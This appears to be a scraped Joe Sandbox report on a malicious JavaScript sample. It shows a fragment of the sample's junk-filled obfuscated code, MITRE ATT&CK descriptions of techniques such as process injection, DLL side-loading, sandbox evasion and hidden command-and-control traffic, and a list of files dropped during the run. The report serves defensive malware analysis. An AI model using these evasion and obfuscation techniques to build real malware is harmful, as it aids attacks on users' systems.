1458	epozryh = "p";
1459	epozryh = "F";
1460	epozryh = "v";
1461	epozryh = "Y";
1462	epozryh = "k";
1463	epozryh = "q";
1464	epozryh = "y";
1465	epozryh = "M";
1466	epozryh = "M";
1467	epozryh = "N";
1468	sibxblfo = "w";
1469	sibxblfo = "I";
1470	sibxblfo = "f";
1471	sibxblfo = "S";
1472	sibxblfo = "O";
1473	sibxblfo = "L";
1474	sibxblfo = "D";
1475	sibxblfo = "O";
1476	sibxblfo = "B";
1477	sibxblfo = "t";
1478	sibxblfo = "t";
1479	sibxblfo = "y";
1480	sibxblfo = "t";
1481	sibxblfo = "K";
1482	sibxblfo = "c";
1483	sibxblfo = "M";
1484	sibxblfo = "P";
1485	sibxblfo = "K";
1486	sibxblfo = "D";
1487	sibxblfo = "N";
1488	sibxblfo = "B";
1489	sibxblfo = "V";
1490	sibxblfo = "I";
1491	sibxblfo = "I";
1492	sibxblfo = "C";
1493	sibxblfo = "y";
1494	sibxblfo = "H";
1495	sibxblfo = "C";
1496	sibxblfo = "i";
1497	sibxblfo = "f";
1498	sibxblfo = "u";
1499	sibxblfo = "V";
1500	sibxblfo = "l";
1501	extjwata = "X";
1502	extjwata = "f";
1503	extjwata = "n";
1504	extjwata = "z";
1505	extjwata = "d";
1506	extjwata = "m";
1507	extjwata = "t";
1508	extjwata = "F";
1509	extjwata = "y";
1510	extjwata = "6";
1511	jcdgo ( );	jcdgo() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 326794322661816170.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cbe0a116-21ed-4ef3-b301-57f24545cfab.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Windows Analysis Report
326794322661816170.js